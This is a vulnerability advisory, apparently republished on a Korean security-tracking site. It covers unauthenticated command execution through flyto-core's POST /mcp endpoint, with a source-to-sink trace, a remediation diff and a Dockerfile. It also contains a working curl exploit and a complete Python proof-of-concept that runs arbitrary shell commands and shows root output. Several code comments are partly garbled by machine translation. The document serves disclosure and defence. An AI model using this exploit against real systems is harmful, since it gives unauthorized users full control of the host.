flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치
CVSS 벡터 · 메트릭
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H상세 설명
Unauthenticated Command Execution via HTTP MCP execute_module
Summary
The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.
Details
flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.
The complete unauthenticated data flow from source to sink:
src/core/api/server.py:75-78—mcp_routeris mounted under/mcpunconditionally at app creation.src/core/api/routes/mcp.py:65-66—@router.post("")has noDepends(require_auth)guard; any HTTP client may POST to this route.src/core/api/routes/mcp.py:79— the full request body (attacker-controlled JSON) is parsed without validation.src/core/api/routes/mcp.py:103-104— each JSON-RPC item is forwarded tohandle_jsonrpc_requestwithout amodule_filter.src/core/mcp_handler.py:813-838—tools/callwith nameexecute_moduleforwards attacker-controlledmodule_idandparamstoexecute_module().src/core/mcp_handler.py:180,214-215— the module registry resolvesmodule_idand invokes it with attacker-suppliedparams.src/core/modules/registry/decorators.py:96-101— the function wrapper exposesself.paramsascontext['params'].src/core/modules/atomic/sandbox/execute_shell.py:137-139—commandis read directly fromparamswith no sanitization.src/core/modules/atomic/sandbox/execute_shell.py:163-169—commandreachesasyncio.create_subprocess_shellwithshell=Trueand no allowlist or escaping.
The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.
Vulnerable code excerpts:
1# src/core/api/routes/mcp.py:65-66 — missing auth 2@router.post("") 3async def mcp_post(request: Request): 1# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch 2elif tool_name == "execute_module": 3 result = await execute_module( 4 module_id=arguments.get("module_id", ""), 5 params=arguments.get("params", {}), 6 context=arguments.get("context"), 7 browser_sessions=browser_sessions, 8 ) 1# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink 2params = context['params'] 3command = params.get('command', '') 4# ... only empty-command and cwd existence checks ... 5proc = await asyncio.create_subprocess_shell(command, ...)Contrast with the protected REST route:
1# src/core/api/routes/modules.py:93 — correctly guarded 2@router.post("/execute", dependencies=[Depends(require_auth)])The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.
PoC
Environment setup (Docker):
1# Build the image (context: the report directory containing repo/ and vuln-001/) 2docker build \ 3 -f vuln-001/Dockerfile \ 4 -t flyto-vuln-001 \ 5 reports/mcp_57_flytohub__flyto-core/ 6 7# Start the server (binds 0.0.0.0:8333 inside the container) 8docker run --rm -d \ 9 -p 127.0.0.1:8333:8333 \10 --name flyto-vuln-001-test \11 flyto-vuln-001Exploit (curl) — no Authorization header:
1curl -sS http://127.0.0.1:8333/mcp \ 2 -H 'Content-Type: application/json' \ 3 -d '{ 4 "jsonrpc": "2.0", 5 "id": 1, 6 "method": "tools/call", 7 "params": { 8 "name": "execute_module", 9 "arguments": {10 "module_id": "sandbox.execute_shell",11 "params": {"command": "id", "timeout": 5}12 }13 }14 }'Exploit (Python PoC script):
1python3 vuln-001/poc.py \ 2 --host 127.0.0.1 --port 8333 --command idObserved response (dynamic reproduction, Phase 2):
1{ 2 "jsonrpc": "2.0", 3 "id": 1, 4 "result": { 5 "structuredContent": { 6 "ok": true, 7 "data": { 8 "stdout": "uid=0(root) gid=0(root) groups=0(root)\n", 9 "stderr": "",10 "exit_code": 0,11 "execution_time_ms": 4.8412 }13 },14 "isError": false15 }16}The uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.
Network-accessible variant:
If the operator starts flyto-core with --host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.
Recommended remediation:
1--- a/src/core/api/routes/mcp.py 2+++ b/src/core/api/routes/mcp.py 3-from fastapi import APIRouter, Request 4+from fastapi import APIRouter, Depends, Request 5 from fastapi.responses import JSONResponse, Response 6 from core.mcp_handler import handle_jsonrpc_request 7+from core.api.security import require_auth, module_filter 8 9-@router.post("")10+@router.post("", dependencies=[Depends(require_auth)])11 async def mcp_post(request: Request):12 result = await handle_jsonrpc_request(item, browser_sessions)13+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)14 15-@router.delete("")16+@router.delete("", dependencies=[Depends(require_auth)])17 async def mcp_delete(request: Request): 1--- a/src/core/api/security.py 2+++ b/src/core/api/security.py 3-_DEFAULT_DENYLIST = ["shell.*", "process.*"] 4+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]Impact
This is an unauthenticated OS command injection vulnerability. Any process that can reach the POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.
Affected parties include:
- Developers and local users running
flyto serveon their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface. - Infrastructure operators who expose the API on a non-loopback interface (
--host 0.0.0.0) without network-level access controls — the attack surface becomes the entire network.
Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.
Reproduction artifacts
Dockerfile
1FROM python:3.12-slim 2 3# lxml buildtext requiredtext whentext text 4RUN apt-get update && apt-get install -y --no-install-recommends \ 5 gcc g++ libxml2-dev libxslt1-dev \ 6 && rm -rf /var/lib/apt/lists/* 7 8WORKDIR /app 9 10# local repo copy source (build context: mcp_57_flytohub__flyto-core/)11COPY repo/ /app/repo/12 13# flyto-core[api] install (fastapi + uvicorn contains)14RUN pip install --no-cache-dir "/app/repo[api]"15 16EXPOSE 833317 18# container externalfrom accessibletext 0.0.0.0 binding19CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]poc.py
1#!/usr/bin/env python3 2""" 3VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module 4 5Target: flyto-core 2.26.2 6Route: POST /mcp (no auth dependency — mcp.py:65) 7Sink: asyncio.create_subprocess_shell (execute_shell.py:163) 8CWE: CWE-306 Missing Authentication for Critical Function 9 10Usage:11 python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]12"""13import sys14import time15import json16import argparse17import urllib.request18import urllib.error19 20 21def wait_for_server(base_url: str, max_wait: int = 45) -> bool:22 """servertext readytext until /health text."""23 for i in range(max_wait):24 try:25 with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp:26 if resp.status == 200:27 print(f"[+] server is ready ({i}s textand)")28 return True29 except Exception:30 pass31 time.sleep(1)32 if i % 5 == 4:33 print(f"[*] wait in progress... ({i+1}s)")34 return False35 36 37def send_exploit(base_url: str, command: str) -> dict:38 """without authentication POST /mcptext arbitrary command execute request."""39 payload = {40 "jsonrpc": "2.0",41 "id": 1,42 "method": "tools/call",43 "params": {44 "name": "execute_module",45 "arguments": {46 "module_id": "sandbox.execute_shell",47 "params": {48 "command": command,49 "timeout": 1050 }51 }52 }53 }54 55 data = json.dumps(payload).encode("utf-8")56 req = urllib.request.Request(57 f"{base_url}/mcp",58 data=data,59 headers={"Content-Type": "application/json"},60 method="POST",61 )62 63 with urllib.request.urlopen(req, timeout=20) as resp:64 body = resp.read().decode("utf-8")65 66 return json.loads(body)67 68 69def main():70 parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP")71 parser.add_argument("--host", default="127.0.0.1")72 parser.add_argument("--port", type=int, default=8333)73 parser.add_argument("--command", default="id", help="OS command to execute (default: id)")74 args = parser.parse_args()75 76 base_url = f"http://{args.host}:{args.port}"77 78 print("=" * 60)79 print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module")80 print(f" Target : {base_url}/mcp")81 print(f" Command : {args.command}")82 print("=" * 60)83 print()84 85 # 1. wait for server readiness86 print("[*] waiting for server startup in progress...")87 if not wait_for_server(base_url):88 print("[-] FAIL: servertext whenbetween within not respond not")89 sys.exit(1)90 91 # 2. without authentication exploit send request92 print(f"\n[*] POST {base_url}/mcp — without an Authorization header send")93 try:94 result = send_exploit(base_url, args.command)95 except urllib.error.HTTPError as e:96 body = e.read().decode("utf-8", errors="replace")97 print(f"[-] HTTP {e.code}: {body}")98 print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)")99 sys.exit(1)100 except Exception as e:101 print(f"[-] text error: {e}")102 sys.exit(1)103 104 # 3. response parse105 print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n")106 107 # result.result.structuredContent.data.stdout108 try:109 structured = result["result"]["structuredContent"]110 data = structured["data"]111 stdout = data.get("stdout", "")112 stderr = data.get("stderr", "")113 exit_code = data.get("exit_code", -1)114 except (KeyError, TypeError) as e:115 print(f"[-] FAIL: expected response structure text — {e}")116 print(f" result keys: {list(result.get('result', {}).keys())}")117 sys.exit(1)118 119 print(f"[*] exit_code = {exit_code}")120 print(f"[*] stdout = {stdout!r}")121 print(f"[*] stderr = {stderr!r}")122 print()123 124 # 4. success verdict: `id` command resulttext uid= contains whether125 if "uid=" in stdout:126 print("[+] ============================================================")127 print("[+] PASS: without authentication text OS command execution check!")128 print(f"[+] command output: {stdout.strip()}")129 print("[+] ============================================================")130 sys.exit(0)131 else:132 print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different")133 sys.exit(1)134 135 136if __name__ == "__main__":137 main()AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.